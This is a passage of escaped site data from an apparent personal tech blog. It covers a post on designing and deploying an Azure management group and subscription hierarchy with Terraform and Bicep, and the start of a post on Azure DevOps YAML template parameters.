x='160' y='260' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='356' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='372' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='260' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='276' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='356' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='372' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='276' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='356' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='372' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='132' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='132' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='148' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='148' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='260' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='276' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='356' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='372' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='260' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='276' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='356' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='372' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='260' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='276' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='356' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='372' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='260' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='276' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='260' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='276' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='356' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='260' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='356' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='276' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='356' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='260' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='276' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='260' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='132' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='148' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='132' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eNotes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eTenant Root Group\u003c/strong\u003e is the apex for all global policies.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePlatform MG\u003c/strong\u003e isolates shared services from workload traffic.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLanding Zones MG\u003c/strong\u003e is subdivided by network requirements (Corp vs. Online).\u003c/li\u003e\n\u003cli\u003ePolicies assigned at the \u003cstrong\u003eLanding Zones\u003c/strong\u003e level automatically cascade to all workload subscriptions.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"platform-tier--shared-services\"\u003ePlatform Tier — Shared Services\u003c/h3\u003e\n\u003cp\u003eThe Platform management group holds three subscriptions owned by the platform team. No workloads deploy here.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eManagement\u003c/strong\u003e: Hosts centralized observability (Log Analytics).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eConnectivity\u003c/strong\u003e: Hosts the hub networking stack (Azure Firewall, Bastion, DNS).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eIdentity\u003c/strong\u003e: Hosts hybrid identity components (AD DS) if required.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"landing-zones-tier--workload-isolation\"\u003eLanding Zones Tier — Workload Isolation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eCorp\u003c/strong\u003e: Subscriptions for workloads requiring hybrid connectivity to on-premises networks.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eOnline\u003c/strong\u003e: Internet-facing workloads with no on-premises dependency.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"sandbox-and-decommissioned-tiers\"\u003eSandbox and Decommissioned Tiers\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSandbox\u003c/strong\u003e: A space for experimentation with mandatory budget alerts but fewer restrictive policies.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDecommissioned\u003c/strong\u003e: A parking area for subscriptions being retired. A \u003ccode\u003eDeny\u003c/code\u003e policy on all write operations ensures no new resources are created during the archival process.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"subscription-design-and-naming\"\u003eSubscription Design and Naming\u003c/h2\u003e\n\u003cp\u003eSubscriptions are the primary blast-radius boundary in Azure. One production workload per subscription is the recommended pattern for enterprises.\u003c/p\u003e\n\u003ch3 id=\"naming-conventions\"\u003eNaming Conventions\u003c/h3\u003e\n\u003cp\u003eManagement group IDs are immutable. Use descriptive IDs that reflect the tier\u0026rsquo;s purpose.\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eResource\u003c/th\u003e\n          \u003cth\u003ePattern\u003c/th\u003e\n          \u003cth\u003eExample\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eManagement group ID\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e\u0026lt;org\u0026gt;-\u0026lt;tier\u0026gt;[-\u0026lt;subtier\u0026gt;]\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003econtoso-landingzones-corp\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eSubscription name\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e\u0026lt;org\u0026gt;-\u0026lt;workload\u0026gt;-\u0026lt;env\u0026gt;\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003econtoso-payroll-prod\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003chr\u003e\n\u003ch2 id=\"deploying-the-hierarchy-with-terraform-avm\"\u003eDeploying the Hierarchy with Terraform AVM\u003c/h2\u003e\n\u003cp\u003eThe AVM pattern module \u003ccode\u003eAzure/avm-ptn-alz/azurerm\u003c/code\u003e deploys the full hierarchy. Note that modern versions require the \u003ccode\u003ealz\u003c/code\u003e provider.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ccode\u003eproviders.tf\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eterraform\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003erequired_providers\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    azurerm \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      source  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;hashicorp/azurerm\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      version \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;~\u0026gt; 4.0\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    alz \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      source  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;azure/alz\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      version \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;~\u0026gt; 0.20\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eprovider\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;alz\u0026#34;\u003c/span\u003e {\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e  # The alz provider handles policy and management group logic\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003emain.tf\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;alz\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  source  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Azure/avm-ptn-alz/azurerm\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  version \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;0.19.0\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  management_group_name \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eorg_prefix\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  enable_telemetry      \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Subscription placement\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;azurerm_management_group_subscription_association\u0026#34; \u0026#34;connectivity\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  management_group_id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/providers/Microsoft.Management/managementGroups/${var.org_prefix}-platform-connectivity\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  subscription_id     \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/subscriptions/${var.subscription_ids.connectivity}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  depends_on \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003ealz\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"deploying-the-hierarchy-with-bicep-avm\"\u003eDeploying the Hierarchy with Bicep AVM\u003c/h2\u003e\n\u003cp\u003eBicep uses Deployment Stacks for lifecycle management. Use \u003ccode\u003edetachAll\u003c/code\u003e for the initial deployment to prevent accidental deletion of existing resources.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ccode\u003emain.bicep\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003etargetScope\u003c/span\u003e = \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;tenant\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e alz \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;br/public:avm/ptn/alz/alz:0.1.0\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;alzHierarchyDeploy\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  params: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    managementGroupName: orgPrefix\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    subscriptionPlacement: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      management: subscriptionIds.management\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      connectivity: subscriptionIds.connectivity\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eDeployment Command\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eaz stack tenant create \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --name \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;alz-hierarchy\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --template-file main.bicep \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --parameters parameters.json \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --action-on-unmanage detachAll \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --location eastus\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eAvoid Environment-based Management Groups\u003c/strong\u003e: Do not create \u003ccode\u003eProduction\u003c/code\u003e and \u003ccode\u003eDevelopment\u003c/code\u003e MGs. Use subscriptions for environments so that a single policy (like \u0026ldquo;Require Tags\u0026rdquo;) assigned at the \u003ccode\u003eCorp\u003c/code\u003e MG covers both.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLimit Depth\u003c/strong\u003e: Keep the hierarchy to four or five levels maximum. Deeper structures make policy troubleshooting difficult.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTest Policy Inheritance\u003c/strong\u003e: Create a test resource group without required tags immediately after deployment to confirm the \u003ccode\u003eDeny\u003c/code\u003e policy triggers.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"troubleshooting\"\u003eTroubleshooting\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e\u0026ldquo;Management group will be destroyed and recreated\u0026rdquo;\u003c/strong\u003e\nThe \u003ccode\u003ename\u003c/code\u003e (ID) field changed. IDs are immutable. If a rename is necessary, you must manually move subscriptions and policies to a new group before deleting the old one. Use \u003ccode\u003eterraform state list\u003c/code\u003e to identify the exact resource addresses before refactoring.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e\u0026ldquo;Forbidden error during deployment\u0026rdquo;\u003c/strong\u003e\nThe deploying identity needs \u003ccode\u003eManagement Group Contributor\u003c/code\u003e at the Tenant Root scope (\u003ccode\u003e/\u003c/code\u003e). Standing \u003ccode\u003eGlobal Administrator\u003c/code\u003e should be removed after the initial bootstrap in favor of PIM.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/landing-zone/design-area/resource-org-management-groups\"\u003eCAF Resource Organization — Management Groups\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://registry.terraform.io/modules/Azure/avm-ptn-alz/azurerm\"\u003eAVM — ALZ Terraform Module\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits#management-group-limits\"\u003eAzure Subscription and Management Group Service Limits\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eWith the hierarchy deployed, move to \u003ca href=\"../azure-hub-spoke-networking/\"\u003ePost 2: Hub-and-Spoke Networking\u003c/a\u003e. The Connectivity subscription created here becomes the home for the hub VNet and Azure Firewall.\u003c/p\u003e\n","description":"Design and deploy a production Azure management group hierarchy with Terraform and Bicep AVM. Covers CAF topology, subscription strategy, and naming.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-management-group-design/","title":"Design Your Azure Management Group and Subscription Hierarchy"},{"content":"\u003cp\u003eYou add one new configuration flag. Now you have to touch 23 template files to thread it through every layer. You spend 40 minutes on plumbing. You wonder if a monolithic script would have been simpler.\u003c/p\u003e\n\u003cp\u003eAzure DevOps YAML templates were designed for reuse, but the naive implementation pattern — declare every parameter at every level and pass them down explicitly — turns a 5-layer template hierarchy into a maintenance trap. Adding a parameter becomes an O(n) operation across the entire template tree. Renaming one is worse. When an organization reaches 50+ pipeline templates, this pattern actively prevents teams from improving their shared infrastructure.\u003c/p\u003e\n\u003cp\u003eThis article covers:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eWhy parameter explosion happens and where it breaks down architecturally.\u003c/li\u003e\n\u003cli\u003eHow \u003ccode\u003eobject\u003c/code\u003e parameters bundle arbitrary configuration without schema explosion.\u003c/li\u003e\n\u003cli\u003eHow \u003ccode\u003etemplateContext\u003c/code\u003e passes metadata alongside \u003ccode\u003ejobList\u003c/code\u003e, \u003ccode\u003edeploymentList\u003c/code\u003e, and \u003ccode\u003estageList\u003c/code\u003e without breaking the YAML schema.\u003c/li\u003e\n\u003cli\u003eThree architectural patterns — Facade, Config Object, and Context Carrier — ordered by use case.\u003c/li\u003e\n\u003cli\u003eA concrete refactor of a broken 5-layer template down to a maintainable 2-parameter design.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"diagnosing-parameter-explosion\"\u003eDiagnosing Parameter Explosion\u003c/h2\u003e\n\u003ch3 id=\"what-parameter-explosion-looks-like\"\u003eWhat Parameter Explosion Looks Like\u003c/h3\u003e\n\u003cp\u003eEvery layer in a template hierarchy that uses a parameter must declare it in its own \u003ccode\u003eparameters:\u003c/code\u003e block and pass it explicitly to the next layer. Azure DevOps provides no implicit pass-throughs. If \u003ccode\u003epipeline.yml\u003c/code\u003e calls \u003ccode\u003estages-template.yml\u003c/code\u003e, which calls \u003ccode\u003ejobs-template.yml\u003c/code\u003e, which calls \u003ccode\u003esteps-template.yml\u003c/code\u003e, and all four need the same \u003ccode\u003eenvironment\u003c/code\u003e value — all four files must declare it.\u003c/p\u003e\n\u003cp\u003eWith 10 shared parameters and a 5-layer hierarchy, that produces 50 parameter declarations. 40 of them are pure overhead: intermediate layers declaring parameters they never read, only to forward them one level down.\u003c/p\u003e\n\u003cp\u003eHere is what that looks like in a 3-layer hierarchy with three parameters:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# pipeline.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 